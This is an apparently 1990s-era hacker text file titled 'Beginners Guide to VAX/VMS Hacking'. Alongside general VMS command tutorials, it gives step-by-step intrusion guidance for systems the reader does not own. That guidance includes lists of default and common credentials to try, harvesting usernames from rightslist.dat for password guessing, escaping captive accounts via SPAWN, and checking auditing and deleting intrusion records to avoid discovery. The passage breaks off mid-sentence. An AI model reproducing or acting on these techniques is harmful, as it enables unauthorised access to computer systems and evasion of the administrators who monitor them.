home *** CD-ROM | disk | FTP | other *** search
Text File | 2003-06-11 | 146.8 KB | 3,351 lines |
- +----------------------------------------------------------------------------+
- ! Beginners Guide to VAX/VMS Hacking !
- ! !
- ! File By ENTITY / Corrupt Computing Canada (c) !
- ! !
- ! !
- ! CORRUPT COMPUTING CANADA! !
- ! !
- ! !
- +----------------------------------------------------------------------------+
- ! !
- ! You may freely distribute this file as long as no modifications of any !
- ! form are made to the file. All rights reserved by...What rights?! !
- ! !
- ! !
- +----------------------------------------------------------------------------+
-
-
-
- INTRODUCTION
- ------------
-
-
- Perhaps the most exciting Operating system to HACK on is VAX/VMS.
- It offers many challenges for hackers and boasts one of the best security
- systems ever developed. In comparison to the security on UNIX, VMS is far
- superior in every respect. It can be very difficult to get inside such a
- system and even harder to STAY inside, but isn't that what this is all about?!
- I have written this file as a way for beginning hackers to learn about the VMS
- operating system. There is such a vast amount of information that can be
- related about VAX/VMS hacking that it is not possible for me to cover
- everything in just one file. As such i will try and stick to the basics for
- this file and hopefully write another file in the future that deals with
- heavy-duty kernal programming, the various data structures, and system service
- calls. All right so lets get at it!
-
-
-
-
- GETTING IN
- ----------
-
- First of all how do you recognize a VAX when you see one?! Well the
- thing that always gives a VAX away, is when you logon you will see:
-
- Username:
-
- It may also have some other info before it asks you for the username, usually
- identifying the company and perhaps a message to the effect of:
-
- Unauthorized Users will be prosecuted to the fullest extent of the law!
-
- That should get you right in the mood for some serious hacking! Ok so when you
- have determined that the system you have logged into is indeed a VAX, you will
- have to at this point enter your SYSTEM LOGIN. Basically on VAX's there are
- several default logins which will get you into the system. However on MOST
- systems these default logins are changed by the system manager. In any case,
- before you try any other logins, you should try these (since some system
- managers are lazy and don't bother changing them):
-
- Username Password Alternate
- -------------------------------------------------------------------------------
-
- SYSTEM MANAGER OPERATOR
- FIELD SERVICE TEST
- DEFAULT DEFAULT USER
- SYSTEST UETP SYSTEST
- DECNET DECNET NONPRIV
-
-
- That's it. Those are the default system users/passwords. The only ones on the
- list that are GUARANTEED to be in the userlist are SYSTEM and DEFAULT. However,
- I have never come across a system where these two haven't been changed from
- their default passwords to something else. In the above list, the alternate
- password is simply a password many operators set the password to from the
- deafult. So if the first password doesn't work, try the alternate password. It
- should be noted when the a user is added into the system, the default password
- for the new user the SAME as his username. You should keep this point in mind
- because it is VERY important. Most of the accounts you hack out, will be found
- in this way! Ok if above ones don't work, then you should try these accounts.
- These following accounts are NOT defaults, but through experience i have found
- that many systems use these accounts or some variation thereof:
-
- Username Password
- ---------------------------
- VAX VAX
- VMS VMS
- DCL DCL
- DEC DEC *
- DEMO DEMO *
- TEST TEST *
- NETNONPRIV NONPRIV *
- NETPRIV PRIV
- ORACLE ORACLE *
- ALLIN1 ALLIN1 *
- INGRES INGRES *
- GUEST GUEST *
- GAMES GAMES
- BACKUP BACKUP *
- HOST HOST
- USER USER *
- DIGITAL DIGITAL
- REMOTE REMOTE *
- SAS SAS
- FAULT FAULT
- USERP USERP
- VISITOR VISITOR
- GEAC GEAC
- VLSI VLSI
- INFO INFO *
- POSTMASTER MAIL
- NET NET
- LIBRARY LIBRARY
- OPERATOR OPERATOR *
- OPER OPER
-
- The ones that have asterisks (*) beside them are the more popular ones and you
- have a better chance with them, so you should try them first. It should be
- noted that the VAX will not give you any indication of whether the username
- you typed in is indeed valid or not. Even if you type in a username that does
- not exist on the system, it will still ask you for a password. Keep this in
- mind because if you are not sure if whether an account exists or not, don't
- waste your time in trying to hack out its password. You could be going on a
- wild goose chase! You should also keep in mind that ALL bad login attempts are
- kept track of and when the person logs in, he is informed of how many failed
- attempts there were on his account. If he sees 400 login failures, I am sure
- that he will know someone is trying to hack his account.
-
-
-
-
- THE BASICS
- ----------
-
- Ok i am assuming you tried all the above defaults and managed to get yourself
- into the system. Now the real FUN begins! Ok first things first. After you log
- in you will get some message about the last time you logged in etc. If this is
- the first time you have logged into this system then you should note the last
- login date and time and WRITE IT DOWN! This is important for several reasons.
- The main one being that you want to find out if the account you have just
- hacked is an ACTIVE or INACTIVE account. The best accounts are the inactive
- ones. Why?! Well the inactive accounts are those that people are not using
- currently, meaning that there is a better chance of you holding onto that
- account and not being discovered by the system operator. If the account has
- not been logged into for the last month or so, theres a good chance that it
- is inactive. Ok anyhow once your in, if you have a normal account with access
- to DCL you will get a prompt that looks like:
-
- $
-
- This may vary from machine to machine but its usually the same. If you have a
- weird prompt and would like a normal one, type:
-
- $set prompt=$
-
- If this is the first time you have hacked into this system there are a couple
- of steps you should take immediately. First type:
-
- $set control=(y,t)
-
- This will enable your break keys (like ctrl-c) so that you can stop a file or
- command if you make a mistake. Usually ctrl-c is active, but this command will
- insure that it is. (Note: in general to abort a command, or program you can
- type ctrl-c or ctrl-y) Ok anyhow, the next step is to open the buffer in your
- terminal then type:
-
- $type sys$system:rightslist.dat
-
- This will dump a file that has all the systems users listed in it. You may
- notice a lot of weird garbage characters. Don't worry about those, that is
- normal. Ok after this file ends and you get the shell prompt again ($) then
- save the buffer, clear it out and leave it open. Then type:
-
- $show logical
-
- Ok after this file is buffered save it also. Ok at this point you have two
- files on your disk which will help you hack out MORE accounts on the system.
- For now, lets find out how powerful the account you currently hacked into is.
- You should type:
-
- $set proc/priv=all
-
- This may give you a message telling you that all your privileges were not
- granted. That's ok. Now type:
-
- $show proc/priv
-
- This will give you a list of all the privileges your account is set up for.
- Usually most user accounts only have NETMBX and TMPMBX privs. If you have
- more than these two, then it could mean that you have a nice high-level user.
- Unlike UNIX which only has a distinction between user and superuser, VMS has
- a whole shitload of different privileges you can gain. The basic privs are as
- follows:
-
- PRIVILEGE DESCRIPTION
- ------------------------------------------------------------------------------
- NONE no privilege at all
-
-
- NORMAL PRIVS
- ------------
- MOUNT Execute mount volume QIO
- NETMBX Create network connections (you need this to call out!)
- TMPMBX Create temporary mailbox
-
-
- GROUP PRIVS
- -----------
- GROUP Control processes in the same group
- GRPPRV Group access through SYSTEM protection field
-
-
- DEVOUR PRIVS
- ------------
- ACNT Disable accounting
- ALLSPOOL Allocate spooled devices
- BUGCHK Make bugcheck error log entries
- EXQUOTA Exceed disk quotas
- GRPNAM Insert group logical names n the name table
- PRMCEB Create/delete permanent common event flag clusters
- PRMGBL Create permanent global sections
- PRMMBX Create permanent mailboxes
- SHMEM Create/delete structures in shared memory
-
-
- SYSTEM PRIVS
- ------------
- ALTPRI Set base priority higher that allotment
- OPER Perform operator functions
- PSWAPM Change process swap mode
- WORLD Control any process
- SECURITY Perform security related functions
- SHARE Access devices allocated to other users
- SYSLCK Lock system-wide resources
-
-
- FILES PRIVS
- -----------
- DIAGNOSE Diagnose devices
- SYSGBL Create system wide global sections
- VOLPRO Override volume protection
-
-
- ALL PRIVS
- ---------
- BYPASS Disregard protection
- CMEXEC Change to executive mode
- CMKRNL Change to kernal mode
- DETACH Create detached processes of arbitrary UIC
- LOG_IO Issue logical I/O requests
- PFNMAP Map to specific physical pages
- PHY_IO Issue physical I/O requests
- READALL Possess read access to everything
- SETPRV *** ENABLE ALL PRIVILEGES!!! ***
- SYSNAM Insert system logical names in the name table
- SYSPRV Access objects through SYSTEM protection field
-
-
- Ok that's the lot of them! I will explain some of the more important privileges
- later in the file. For now, at least you can see just how powerful the account
- is. It should be noted that most accounts usually are only granted the TMPMBX
- and NETMBX privileges, so if you don't have the others, don't fret too much.
-
-
-
- GENERAL TERMINOLOGY
- -------------------
-
- I think that i should clarify some of the basic concepts involved with
- VAX/VMS operating systems before we go any further:
-
- PROCESS: this is what is created when you log in. The system sets aside CPU
- time and memory for you and calls it a process. Any task that is run
- in VMS is called a process.
-
- SUBPROCESS: also known as child-process, this is just a process that was
- created by another process.
-
- DCL : Digital Command Language. This is the shell ($) that you are put into
- when you log into a VAX
-
- MCR : an alternate shell that is used (rarely) on certain accounts. Login
- prompt is a > as opposed to DCL which gives a $
- SHELL : this is the '$' that you see once you are logged in. This is your
- interface with the system, where you can enter the various commands
- execute files and perform other activities.
-
- JOB : a process and a group of its subprocesses performing some task
-
- SPAWN : this is the actual command that allows you to create subprocesses
- 'SPAWNING' is the act of creating subprocesses
-
- PID : process identification number. This is an 8 byte ID code that is
- uniquely given to each process that is created on the system.
-
- IMAGE : this is an EXE file that you can execute (ie run)
-
- UIC : User identification code. This is in two parts, namely: [group,member]
- The way this works is that users in the same group can access each
- others files through the group protection code. However since the UIC
- MUST uniquely identify each user, the member portion separates the
- individuals in each group. If an account does not have a different
- member number, he will NOT be put in the RIGHTSLIST database.
-
-
-
- CONTROL KEYS
- ------------
-
- A brief note on control sequences. Several different actions can be activated
- via control sequences. They are:
-
- CTRL-H :delete last character
- CTRL-B :redisplay last command (can go back up to the last 20 commands issued)
- CTRL-S :pause display
- CTRL-Q :continue after pause
- CTRL-Z :*EXIT* use to break out of things such as CREATE and EDIT
- CTRL-C :*CANCEL* will exit out of most operations
- CTRL-Y :*INTERRUPT* will break out of whatever you are doing
- CTRL-T :print out statistical info about the process
-
- NOTE: sometimes upon login, the CTRL-Y, CTRL-C keys are disabled. To ensure
- these are enabled, issue this command upon login:
-
- $ SET CONTROL
-
-
- -------------------------------------------------------------------------------
- NOTE: all the commands that are executed from DCL can be referenced from an
- online help manual. To access this, simply type help at any '$' prompt
- This help is also available within the various utilities and programs
- such as authorize and mail. The two MOST important commands are SET and
- SHOW. These should be buffered and printed out for your own reference.
- -------------------------------------------------------------------------------
-
- FILES and DIRECTORIES
- ---------------------
-
- The directory structure of VMS is a heirarchical one similar to MS-DOS and
- UNIX. Its a simple concept, and i will only briefly skim over it. First of all
- it should be noted that there may be more than one hard drive or other
- mass-storage device hooked up to your system. Within each hard drive there is
- the ROOT directory. This is the highest directory in the tree and is referenced
- by [000000]. (this will be explained in a minute) Within the root there are
- several subdirectories. Within these subdirectories there may be files and even
- further subdirectories. The concept is quite simple, but can be difficult to
- explain. Here is a diagram to give you a rough idea of how it is set up:
-
-
-
- [000000] <--root directory
- !
- !
- +--------------------------+---------------------------------+
- ! ! !
- ! ! !
- [d1] [d2] [d3]
- ! ! !
- +-----+--------+ +-----+-----+ +--------+
- ! ! ! ! ! ! !
- ! ! ! ! ! [d3.d3a] [d3.d3b]
- [d1.da] [d1.db] [d1.dc] [d2.d2a] [d2.d2b]
- ! ! !
- ! ! +--+-----------+
- [d1.db.db1] [d2.d2a.d2a1] ! !
- [d2.d2b.d2b1] [d2.d2b.d2b2]
-
-
-
-
- Hopefully this will give you some sort of an idea of how the directories
- can be structured. Within each subdirectory there may be other files also. For
- example to see the directory after you log in you would type:
-
- $dir
-
- a sample result may be:
-
-
- Directory DISK$SCHOOL:[REPORTS.JOHN]
-
- average.com;3
- generate.exe;1
- mail.mai;10
- marks.dat;4
- marks.dat;5
- reportcard.dir
- projects.dir
-
- Total 7 files.
-
- What does this tell you? The first line tells you what drive and subdirectory
- you are in. The next lines are the actual files. As you can see each file has
- a 3 character extension, followed by a comma and a number. The name before the
- period is the actual filename (eg. average) the 3 characters after the period
- is known as the extension (eg.com) and the number after the comma refers to the
- version of the file. So in this case, this is version number 3. Any time you
- modify or save a file, it automatically assigns it a version number of 1. If
- file already exists on your disk, it increments the version number by 1 and
- then saves it as such. So the next time i go ahead and save the file
- average.com, it would add another file to the list called average.com;4
- Special note should be taken of the files that have an extension of '.DIR'
- These are not really files, but rather subdirectories. I will show you how to
- switch subdirectories in just a minute. First you should take note of the
- different file extensions. Although you can name the files anything you want
- some of the more important extensions are:
-
- TYPE DESCRIPTION
- -------------------------------------------------------------------------------
- EXE Executable IMAGE. These files are programs that can be RUN
- COM DCL SCRIPT files. These can also be executed, utilizing the @ command
- DAT DATA file. Sometimes useful things to look at.
- LIS Listing File, many times important info is in here
- MAI Mail file, use the MAIL command to read these
- DIR DIRECTORY - not a file
- JOU Journal File, often created thru the use of other programs eg EDIT
- TXT Text Files, often hold useful information.
-
- These are just some of the extensions you are most likely to see. The two
- important ones are the EXE and COM files. These can be executed from the DCL
- level. EXE files are executed via the RUN command. Eg. to run authorize.exe:
-
- $run authorize
-
- This will run the authorize IMAGE. Supposing there were more than one version
- of authorize you could specify a version number. eg.
-
- $run authorize.exe;4
-
- The other type of file you can run is the COM files. These are like SCRIPT
- files in UNIX or .BAT files from MS-DOS. They are just a sequence of DCL
- commands strung together that are executed when you initiate the file. To run
- COM files, use the @ command. For example to run adduser.com, type:
-
- $@adduser
-
- The version number thing i stated for EXE files also applies for COM files.
-
- ***NOTE*** To get a listing of all the files on the whole drive, try this:
-
- $sd [000000]
- $dir [...]*.*
-
- Similarly you type dir [...]*.com, if you wanted just the COM files listed.
- To see the contents of a file, you can use the TYPE command. For example:
-
- $type login.com
-
- this might type out something like:
-
- $ sd:==set default
- $ set control=(y,t)
- $ set proc/name=entity
- $ set term/dev=vt100
- :
- :
- :
- etc
-
- This is great for COM files, DAT files and some of the other types, but you
- will always get garbage when you type EXE files so don't bother trying those.
- This is very useful for snooping around other peoples files and getting
- information. Many times i have found user/passwords lying around in TXT or
- LIS files left by some careless user.
-
- Now, how do you go about changing directories? Well, first you should set up
- a shortcut. The normal command to change directories is SET DEFAULT. For
- example to change to a subdirectory called REPORTS, you would have to type:
-
- $set default [.reports]
-
- To make life simpler on yourself, as soon as you log in, you should type:
-
- $sd:==set default
-
- This defines a macro called SD that is interpreted by DCL as SET DEFAULT. You
- can similarly define other 'favorite' commands to some short, easy to remember
- definition. Anyhow heres the syntax for changing directories:
-
- SD DEVICE:[dir1.dir2.dir3....]
-
- The device can be optionally left out, if you plan to remain in the same hard
- drive. You have to then enter a '[' followed by the root directory, followed
- by a period, followed by another subdirectory name etc. Eg.
-
- $sd dub0:[cosy.users]
-
- Suppose at this point, you were in directory cosy, subdirectory users and there
- was a further subdirectory called 'info.dir'. Rather than specify the full
- pathname, you can simply type:
-
- $sd [.info]
-
- This will advance you one level into the info subdirectory. Remember to put the
- period in front of the subdirectory. If you don't, in this case it would assume
- that you were trying to reference the root directory called info. Another
- important thing to note is moving back levels in terms of subdirectories. For
- example if you were in [cosy.users.info] and wanted to move back to
- [cosy.users] you could type:
-
- $sd [-]
-
- Similarly you can put in as many hyphens (-) as you want to move back. For
- example sd [--] would put you back to the cosy directory.
-
- Another important thing to note about subdirectories are logical assigned
- symbols. These are names assigned to certain things. For example the main
- system directory is called sys$system. So to go to it you could type:
-
- $sd sys$system
-
- This would throw you into the system directory. Similarly you can type:
-
- $sd sys$login
-
- and this will put you back into the directory that you were initially in, when
- you first logged in. These symbols stand for actual device:directory
- combinations. To see the various definitions that are assigned to each process
- you should type:
-
- $show logical
-
- This will list a whole bunch of global system equates that you can use to
- access various parts of the VAX structure. In addition to view all of your
- locally defined symbols, use:
-
- $show symbol *
-
-
-
- FILE PROTECTION
- ---------------
-
- Ok before i begin this, let me just state that whatever i say about files also
- applies to directories. There are four types of file protections. There is
- SYSTEM,WORLD,GROUP and OWNER. These are briefly:
-
- SYSTEM- All users who have group numbers 0-8 and users with physical or logical
- I/O privileges (generally system managers, system programmers, and
- operators)
- OWNER - the owner of the file (or subdirectory), isolated via their User
- Identification Code (UIC). This means the person who created the file!
- GROUP - All users who have the same group number in their UICs as the owner of
- the file.
- WORLD - All users who do not fall in the categories above
-
- Each file has four types of protection within each of the above categories.
- They are: Read, Write, Execute, Delete. Explanations are:
-
- READ - You can read the file and copy it.
- WRITE - You can modify and rename that file.
- EXECUTE- You can run the file
- DELETE - You can delete the file
-
- When you create a file the default is that you have all the privileges for that
- particular file. Group, world and system may only have limited privileges. This
- can be changed with the set protection DCL command. For example:
-
- $set protection=(group:rwed,world:r)/default
-
- would set your default protection to allow other users in your group to have
- full read,write,execute,delete privs to the file, and others only read access
- to the file. The /default means that from now on all the files you create will
- be set with this particular protection. To change one of your own files to
- some other protection you can alternatively use:
-
- $set prot topsecret.dat /prot=(system:rwed,group:rwed,world:rwed,owner:rwed)
-
- This would enable all users on the system to access the file 'topsecret.dat'
- When specifying the protection, you do not have to list them for each of the
- four groups. You can simply choose only those that you want changed from your
- default.
-
-
-
- EDITING FILES
- -------------
-
- An important utility that all VAX hackers should be familiar with is the EDT
- text editor. To call it up, use the EDIT DCL command. ie:
-
- $edit [filename]
-
- This will invoke the EDIT/EDT text editor. The [filename] refers to the file
- that you want to edit. If the file does not exist, it is created at this point.
- The EDT editor does not provide a default file type when creating files, so if
- you do not specify one, it will leave it as NULL. It should be noted that there
- is more than just the EDT editor, but when you type in EDIT, the default is
- /EDT. Basically it is an editor that you can use to create/modify COM or any
- other type of text files.
-
- After the editor is invoked, it keeps track of everything that you enter in a
- JOU file. In case of lost carrier or some other accident, you can recover what
- you had by specifying the /RECOVER qualifier. For example:
-
- $edit/recover memo.dat
-
- This would take the last copy of memo.dat, load it into memory, then process
- your last JOU file, updating it to virtually exactly where you were before you
- got cut off. Journaling is automatically defaulted to ON, but can be turned
- off with the /NOJOURNAL qualifier. For a description of what all the qualifiers
- are, and what they do, refer to the online HELP manual.
-
- Ok here is a list of the basic commands you can perform in the EDT editor:
-
-
- --------------------------------------------------------------------------------
-
- X (where X = line number)............show line X only
- X:Y (where X,Y = line numbers).........show line X through line Y
- A,B,C,D (a,b,c,d = line numbers).......list lines A,B,C,D
- X:e ...................................list from X to end
- T W ...................................TYPE WHOLE. List ALL of the text lines
- S/string1/string2/W....................substitute ALL occurrences of string1
- for string2 as they occur from current
- line number downwards
- "string" ..............................search for first occurrence of string
- from current line downwards
- T A "string" ..........................type all occurrences of string from
- current line downwards
- X:Y a "string" ........................search for occurrences of string within
- range denoted by X through Y
- D X ...................................Delete line X
- D X:Y .................................Delete line X through Y, inclusively
- I .....................................insert a line
- I X ...................................insert from line X
- M X:Y to Z ............................move lines X through Y to line Z
- RES ...................................resequence line numbers
- RES/SEQ:X:10 ..........................resequence from line X in intervals of 10
- R X ...................................replace from line X. This deletes the
- current line and automatically goes into
- insertion mode.
- EXIT ..................................leave the editor, and SAVE the current
- text.
- QUIT ..................................leave the editor and DO NOT SAVE the
- current text.
-
- --------------------------------------------------------------------------------
-
- A sample editing session is shown:
-
- $edit lame.txt
-
- * i
-
- hi this is just some bullshit text to test out how this EDIT program
- works. Oh well, easy enough. bye!
-
- <hit ctrl-z>
-
- *exit
-
- $type lame.txt
-
- hi this is just some bullshit text to test out how this EDIT program
- works. Oh well, easy enough. bye!
-
- $del lame.txt;*
-
- COMMANDS
- --------
-
- In this section i will outline some of the more important commands that you can
- issue from the DCL level. This is not meant to be a complete guide. I will
- merely point out some of the more important commands and a very brief
- description. Proper help can be obtained from the online HELP facility.
-
-
- NOTE: It should be noted that each of the following commands may have further
- ----- qualifiers that you can specify. You should check up on these from the
- online help also.
-
-
- @ -Lets you execute COM script files
- ACCOUNTING -allows you to view and edit system accounting data that keeps
- track of what system time you have racked up.
- ANALYZE -lets you view the contents of OBJ files in HEX/ASCII format.
- ANALYZE/SYSTEM -Invokes the SDA. VERY VERY USEFUL!! Allows you to view other
- running processes, their type-ahead buffers etc.
- APPEND -appends the contents of file1 to file2
- ATTACH -allows you to attach yourself to one of your subprocesses
- CLOSE -closes a file that was opened for input/output via OPEN
- CONTINUE -continue a process that you have aborted with control-y
- COPY -copy file1 to file2. You can specify full pathnames, with
- device and subdirectory. If you want to copy it to your home
- directory just use sys$login as your 'TO' file.
- CREATE -create a text file of any type. Eg. you want to create a
- simple COM file or perhaps a letter to another hacker on the
- system. (you shouldn't be using MAIL to send messages!)
- CREATE/DIR -If you want to create a subdirectory
- DELETE -delete a filename. Remember to specify a version number when
- you are deleting a file or it wont work.eg. del garbage.com;1
- DELETE/INTRUSION_RECORD -gets rid of the failed password attempts
- DIFFERENCES -compares two files and notifies you of their differences
- DIRECTORY -get a directory of the files. Various qualifiers can be chosen
- DUMP -get a hex/ascii file dump
- EDIT/EDT -invokes the VAX EDT interactive text editor
- EXAMINE -view the contents of virtual memory
- HELP -ONLINE HELP MANUAL. REFER TO IT OFTEN!
- LINK -link object files into EXE files that you can run
- LOGOUT -the proper way to terminate a session
- PHONE -Allows you to chat with another user on the system. It is not
- recommended that you use this, except with fellow hackers.
- RENAME -rename a file or directory
- RUN -lets you execute EXE files
- SET CONTROL -disables/enables interrupts via ctrl-y/ctrl-c
- SET DEFAULT -change directories
- SET HOST -allows you to connect to another mainframe
- SET PASSWORD -change the password of your account
- SET PROCESS -change the characteristics of your process
- SET PROMPT -change the prompt ($)
- SET TERMINAL -change your terminal characteristics
- SHOW ACCOUNTING -show the current security/accounting enabled
- SHOW AUDIT -show SECURITY enabled
- SHOW DEFAULT -see your current directory. (Like PWD in UNIX)
- SHOW DEVICES -check out the system setup
- SHOW INTRUSION -view the contents of the breakin database
- SHOW LOGICAL -current logical name assignments
- SHOW NETWORK -lists all the available nodes that you can connect to
- SHOW PROCESS -View your process settings
- SHOW PROTECTION -show the default protection you have set
- SHOW SYSTEM -useful to see the running processes
- SHOW TERMINAL -display your terminal characteristics
- SHOW USERS -see who else is logged in.
- SPAWN -spawn a subprocess
- STOP -kill off a subprocess
- TYPE -view a file
-
-
- This should give you a general overview of some of the more important
- commands that you can use. It would be impossible for me to list ALL the
- commands, and their descriptions, so i suggest that you go through the online
- HELP facility and familiarize yourself with the syntax of some these commands.
-
-
- HACKING
- -------
-
- Up to this point i have mainly discussed the basic concepts involved with VMS.
- By now you should be familiar and comfortable with the various DCL commands
- and how to accomplish certain tasks. If you are still sketchy, go back and
- re-read the sections you don't understand. You may also want to log into a VAX
- and just try fiddling around in the shell getting used to how the whole thing
- works.
-
- In this section i will discuss some of the techniques that you may find useful
- in hacking out accounts, calling out to remote systems, and gaining access to
- confidential information.
-
-
- Lets start from the top: When you first login to the system, after it accepts
- your password etc, it executes the SYLOGIN.COM file. Then it searches your
- default directory for the file LOGIN.COM (this may be changed by the system
- manager if he wishes) This file basically sets up your terminal parameters and
- perhaps some macros that you wish to be defined. It may or may not also execute
- some utility.
-
-
- BYPASSING LOGIN.COM
- -------------------
-
- Sometimes it may be useful to be able to skip the login procedures. For
- example if the system automatically runs some file as soon as you log in, and
- doesn't put you into the shell, this technique can be used:
-
- Username: entity/nocomm
-
- Assuming the user was named entity, if you put a /nocomm qualifier, it will
- skip the login.com file and put you directly into DCL. Similarly you can
- specify some other file you want executed instead of login.com. eg.
-
- Username: entity/comm=custom.com
-
- This will execute the custom.com file upon entry into the account. It should
- be noted that these methods WILL NOT WORK on a CAPTIVE account. What is a
- captive account?! Read on...
-
-
- CAPTIVE ACCOUNTS
- ----------------
-
- Many times, in an attempt to make an account more secure the system manager
- sets the captive flag to ON, in the users profile. What this means is that
- when you log in, you cannot break out of the login file into the DCL shell.
- This means that although you can hit ctrl-y and it may even say *interrupt*
- it will not actually abort the file. So how do you exit to DCL?! Well there
- are a few ways. Usually accounts set up in this manner are used to allow the
- user to connect to other nodes. If this is the type of account that you have
- logged into then try the following: First choose an option from the menu that
- they present that allows you to call any node. When it says something like
- %connected to... then hit two ctrl-y in quick succession. It will then ask
- you if you want to really abort the current session. Type Y and it will put you
- at a prompt that looks like:
-
- PAD>
-
- At this point you should type in SPAWN and it will spawn a process and throw
- you into the DCL Shell. This is a major security flaw in VMS and can be put to
- good use on many a system.
-
-
- GAINING PRIVILEGES
- ------------------
-
- On most systems that you hack into, you will find yourself with only TMPMBX and
- NETMBX privileges. To see your privs type:
-
- $show proc/priv
-
- These however may not be all the privileges that you have assigned. Upon login,
- the system only assigns you your default privileges. On some accounts you may
- have more than just these privileges. To see if you do, type:
-
- $set proc/priv=all
-
- if this doesn't give you any error message then you have found yourself a
- SYSTEM account! With this account you can create new users, change the security
- setup read other peoples files etc. Here are a list of some of the more
- important privileges and what they can be used for:
-
- CMKRNL -change to kernal mode. Very Powerful privilege!!
- SETPRV -allows you to become a Super-User. You can do whatever you want!
- READALL -allows you to read other peoples files and directories regardless
- of the protection
- OPER -allows you to perform many useful operator functions (security etc)
- SYSPRV -You can gain the same UIC as the system and access just about
- anything you want. Create/modify accounts
- NETMBX -allows you to call out on the network to other systems
- BYPASS -this allows you to view network passwords, and to bypass all types
- of protection fields
-
- These are just some of the more important ones to the hacker. For a complete
- list of all the privileges and what each one does, see the list i presented
- earlier in the file.
-
- One important note: It is not possible to gain privileges that are not set up
- in your default from the DCL level. There is one way to gain ALL privileges on
- ANY Vax but it involves some serious kernal programming. I could outline the
- program here but i chose not to. The reason for this is that many people would
- abuse the system if they had access to wiping out hard drives and totally
- trashing the system. If you work from the ground up, you begin to realize just
- how important gaining extra access is. You begin to respect the VMS system for
- what it is. A system account in the hands of novice is a very dangerous thing
- indeed, and my suggestion is that if you have a SYSTEM account that has more
- than just the default privileges that you should disable them. This will only
- help you from making any mistakes and screwing up the system. To do this type:
-
- $set proc/priv=noall
- $set proc/priv=(tmpmbx,netmbx,readall)
-
- With these privileges you should be able to easily navigate throughout the
- system without messing anything up. Keep one thing in mind, don't delete files
- unless you have created them! People will notice things like this and you are
- guaranteed to lose your account.
-
- Once you are an experienced hacker you may wish to create a program that gives
- you more privileges. To get you started in this direction i will give you
- an excerpt out of the 'VAX/VMS internals and data structures' manual:
-
-
- If a process wishes a privilege that is not in its authorized list, one of two
- conditions must hold or the requested privilege is not granted.
-
- 1)The process must have SETPRV privilege. A process with this privilege can
- acquire any other privilege with either the set privilege system service or
- DCL command SET PROCESS/PRIVILEGES.
-
- 2)The system service was called from executive or kernal mode. This mechanism
- is an escape that allows either VMS or user-written system services to
- acquire whatever privileges they need without regard for whether the calling
- process has SETPRV privilege. Such procedures must disable privileges
- granted in this fashion as part of their return path.
-
-
- That should give you an idea of what is necessary to go about writing a program
- that grants you extra privileges. For those advanced programmers, here is the
- relevant information:
-
-
-
- Symbolic name Location Usage Referenced By
- ---------------+------------------+------------------------------+-------------
- PHD$Q_PRIVMSK !process header !working privilege mask !system srvc's
- PCB$Q_PRIV !PCB !same as phd$q_privmsk !device driver
- CTL$GQ_PROCPRIV!P1 Pointer page !permanently enabled privs !SET UIC
- PHD$Q_AUTHPRIV !process header !procs allowable privs !$setprv
- PHD$Q_IMAGPRIV !process header !mask for enhanced priv images !$setprv
- UAF$Q_PRIV !sysuaf.dat !UAF allowable privs !LOGINOUT
- KFI$Q_PROCPRIV !priv install image!image installed with privs !image actvatr
- IHD$Q_PRIVREQS !image header !unused - set for all privs! !image actvatr
- ---------------+------------------+------------------------------+-------------
-
-
-
- ONLINE SECURITY
- ---------------
-
- Version 4.2 of VMS introduced the security auditing features. These features
- can be used to track down hackers and illegal use of the machine. Things such
- as access to files, login failures, process creation, adding users etc can all
- be monitored and logged. After you have logged into an unknown system, it is
- wise to check what kind of security they have enabled on the system. This is
- done in two ways. First you should try:
-
- $show accounting
-
- Normally this will either say accounting is disabled or will have a list of
- items that are being monitored. This is used mainly for charging the users for
- CPU time etc. What you should check for in this list is if IMAGE accounting
- is enabled. If it isn't, then you can relax. If it is, you know that you have
- a smart system manager here and you will have to take extra precautions when
- fiddling around on this machine. The second thing you should check is the
- actual level of security enabled. Generally this feature is disabled, and you
- have nothing to worry about. To see the security type:
-
- $show audit
-
- One thing to note is that you must have the SECURITY privilege to issue this
- command. An especially secure system may have things such as breakins, logins,
- logfailures, file access (both successes and failures),and authorization
- checks. These systems require a tremendous amount of care, and are not a good
- place to start learning about VMS.
-
- Another important thing that you should keep in mind is that VAX/VMS stores
- information about login failures (invalid password, account expired, unknown
- username). A security manager can identify possible breakin attempts by using:
-
- $show intrusion/type=intruder
-
- This command requires the CMKRNL and SECURITY privileges. An interesting thing
- to note is that the system manager can have the VAX do certain things after it
- has determined that the user trying to log in is not legitimate. For example
- it can block all login attempts from a certain terminal, or it could turn off
- accepting passwords for a certain account for a specified period of time. So
- lets suppose you were hacking an account and after 10 tries actually entered
- the right password. If the intrusion alert is set at 5 tries, then even if you
- enter the correct password, it wont let you in!!
-
-
- EXPIRED PASSWORDS
- -----------------
-
- I want to make a quick note here about expired passwords. Often you will find
- after logging into an account that it will say that your password has expired
- and for you to enter a new password. At this point you should check when was
- the last date of access. If it was only a few days ago, then you should forget
- about this account. If it more than a few weeks ago, then you have found your-
- self an INACTIVE account (ie one that is not in use anymore) The first thing
- that you should do is set a new password. For example:
-
- $set password
-
- Passwords can be from 1-31 characters in length and can contain the following
- characters:
-
- A-Z
- a-z
- 0-9
- $ (dollar sign)
- _ (underscore)
-
- Note that uppercase, and lowercase are not differentiated (unlike UNIX). The
- reason that you should enter a password at this point is that if you don't, the
- next time the account will not let you log in since the password has expired.
-
-
-
-
- GAINING MORE ACCOUNTS
- ---------------------
-
- Once you have managed to hack onto a VAX, often you will want to gain more
- accounts on the system. There are several ways to go about doing this. The
- first way is to get a list of all the users on the system. Remember that the
- default password for any account is the same as the username. Well if you have
- a list of users, theres a good chance you may find a few who haven't bothered
- to change their passwords. There are a few methods of viewing the userlist.
- The simplest, but least readable way is to:
-
- $type sys$system:rightslist.dat
-
- and buffer the incoming information. You will notice some garbage characters
- also sent through. The way this file is set up is a 1-2 byte character ID
- followed immediately by a 32 byte string with the username. So to pick out the
- usernames, simply ignore the first character from each name, and then you have
- the usernames. There is one small problem to this. Sometimes the character ID
- in front of the name is a SPACE. In this case, you would still skip the first
- character (which is a space), but in viewing the name you would take all the
- characters. So you just have to use your judgement when looking at this list
- to determine whether the string is the whole name, or whether it has an ID
- code stuck in the beginning. The problem is that the ID code is not necessarily
- a garbage character, it could be any valid ascii character (spaces,letters,
- numbers etc) The thing that you should keep in mind is that these ID codes are
- grouped together, so you may see several names that all start with 'A' and you
- can assume that this is the ID and not part of the actual name.
- Another method which is a bit slower, but a lot neater is to use the DUMP
- command on the rightslist file:
-
- $dump sys$system:rightslist.dat
-
- This is quite useful, because it automatically strips away control characters,
- and puts each name into a separate record which makes it easy to isolate the
- proper login names.
-
- An alternative method is to run the psi$authorize file from the system dir.
- To do this, type:
